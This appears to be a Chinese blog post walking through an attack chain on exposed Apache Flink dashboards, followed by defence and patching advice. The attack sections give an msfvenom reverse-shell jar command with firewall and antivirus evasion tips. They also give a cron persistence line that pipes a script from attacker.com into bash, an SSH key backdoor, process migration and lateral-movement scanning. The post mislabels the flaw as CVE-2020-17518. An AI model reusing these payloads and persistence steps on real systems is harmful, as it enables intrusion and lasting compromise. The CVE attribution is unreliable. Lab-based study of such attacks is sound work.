Apache Flink未授权访问漏洞深度剖析:从Dashboard暴露到Jar包上传攻击链
1. Apache Flink未授权访问漏洞全景透视第一次接触Apache Flink的漏洞场景是在去年某次企业内网渗透测试中。当时发现目标系统开放着8081端口访问后竟直接看到了Flink Dashboard的完整控制界面——没有任何登录验证就像走进了一家没锁门的银行金库。这种未授权访问漏洞CVE-2020-17518在Flink 1.9.1版本中普遍存在攻击者能像系统管理员一样自由操作所有功能。这个漏洞的危险性在于它形成了完整的攻击链条从暴露的控制台入口→恶意Jar包上传→远程代码执行。我实测过多次从发现漏洞到获取服务器shell最快只需3分钟。尤其在企业内网环境中常有运维人员为图方便不设置访问控制使得这类漏洞成为攻击者突破边界的热门跳板。2. 漏洞环境快速搭建指南2.1 Vulhub靶场部署实战用Docker搭建漏洞环境是最省事的选择。推荐使用Vulhub项目我已经在Ubuntu 20.04和CentOS 7上实测通过# 下载漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/flink/CVE-2020-17518 # 启动容器注意要先装好docker-compose docker-compose up -d启动后访问http://your-ip:8081就能看到Flink Dashboard。这里有个细节如果页面加载缓慢可能是容器初始化需要时间可以执行docker logs flink_taskmanager查看日志。我遇到过Java环境变量配置错误导致服务起不来的情况这时候需要删除容器重新部署。2.2 常见环境问题排查新手常会遇到这两个坑端口冲突如果8081端口被占用需要修改docker-compose.yml中的端口映射比如改成8082:8081资源不足Flink默认配置需要2GB内存如果虚拟机内存不够会导致容器异常退出可以通过docker stats查看资源占用3. 漏洞利用全流程拆解3.1 恶意Jar包制作技巧使用msfvenom生成反弹shell的Jar包时这几个参数需要特别注意msfvenom -p java/meterpreter/reverse_tcp \ LHOST192.168.1.100 \ # 监听端IP LPORT5555 \ # 避免使用常见端口 -f jar payload.jar # 输出文件名避免特殊字符有次渗透测试中我因为使用默认的4444端口导致 payload 被防火墙拦截。后来改用53端口DNS服务端口就成功突破了。另外建议对生成的jar包做混淆处理避免被安全设备检测# 使用zip工具重命名class文件 unzip payload.jar -d tmp/ cd tmp mv metasploit.dat EvilClass.class zip -r ../new_payload.jar *3.2 多维度漏洞验证方法除了上传Jar包还可以通过这些方式验证漏洞存在性API探测法访问/jars/upload接口观察是否返回405以外的状态码配置检查法尝试访问/config端点未授权情况下能获取敏感配置信息历史任务查询通过/jobs/overview查看已提交任务确认控制台真实性我在实际测试中发现部分企业会在Nginx层做URL过滤但往往漏掉/v1/jars/upload这类API路径。这时候用Burp Suite抓包修改路径前缀往往能绕过防护。4. 攻击链深度扩展利用4.1 权限维持技巧拿到meterpreter会话后常规操作是getuid查看权限。但企业环境更需要隐蔽性我推荐这些手法进程注入将shellcode注入到正在运行的Java进程meterpreter migrate java进程PID定时任务在Linux系统创建cronjobecho * * * * * curl http://attacker.com/shell.sh|bash /etc/crontabSSH后门如果目标有SSH服务添加公钥到authorized_keys4.2 内网横向移动案例在某次红队行动中我们通过Flink漏洞拿下的第一台服务器其实是跳板机。通过它发现了内网中另外3台未修复的同版本Flink实例。使用如下命令快速扫描内网存活主机for i in {1..254}; do ping -c 1 192.168.1.$i | grep bytes from done然后修改msfvenom的LHOST参数为跳板机内网IP批量上传payload。这种漏洞传染现象在企业内网非常典型也说明漏洞修复不彻底带来的连锁风险。5. 企业级防护方案设计5.1 立体化防御措施单纯的版本升级还不够需要多层防护网络层在防火墙上设置8081端口的源IP白名单应用层配置Flink的flink-conf.yaml启用Kerberos认证security.kerberos.login.keytab: /path/to/keytab security.kerberos.login.principal: flink-user系统层使用Seccomp限制容器系统调用5.2 监控预警策略建议企业部署这些检测手段流量分析识别异常的Jar包上传请求如非工作时间段的提交日志监控对POST /jars/upload请求进行实时告警文件校验通过HIDS监控/tmp目录下可疑的.class文件生成某金融客户就曾通过分析Nginx日志发现攻击者尝试用/jars/upload%20这种编码空格绕过WAF的案例。及时阻断后避免了损失。6. 漏洞修复的隐藏陷阱官方建议升级到1.9.2版本但实际环境中要注意兼容性问题旧版作业可能依赖特定API需要充分测试配置残留升级后检查flink-conf.yaml中旧的安全配置是否被覆盖依赖组件像Hadoop、Zookeeper等配套组件也需要同步更新有次给客户做升级就因为Zookeeper版本不匹配导致作业无法提交。后来发现需要在pom.xml中显式指定所有依赖版本号才能彻底解决。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2603876.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!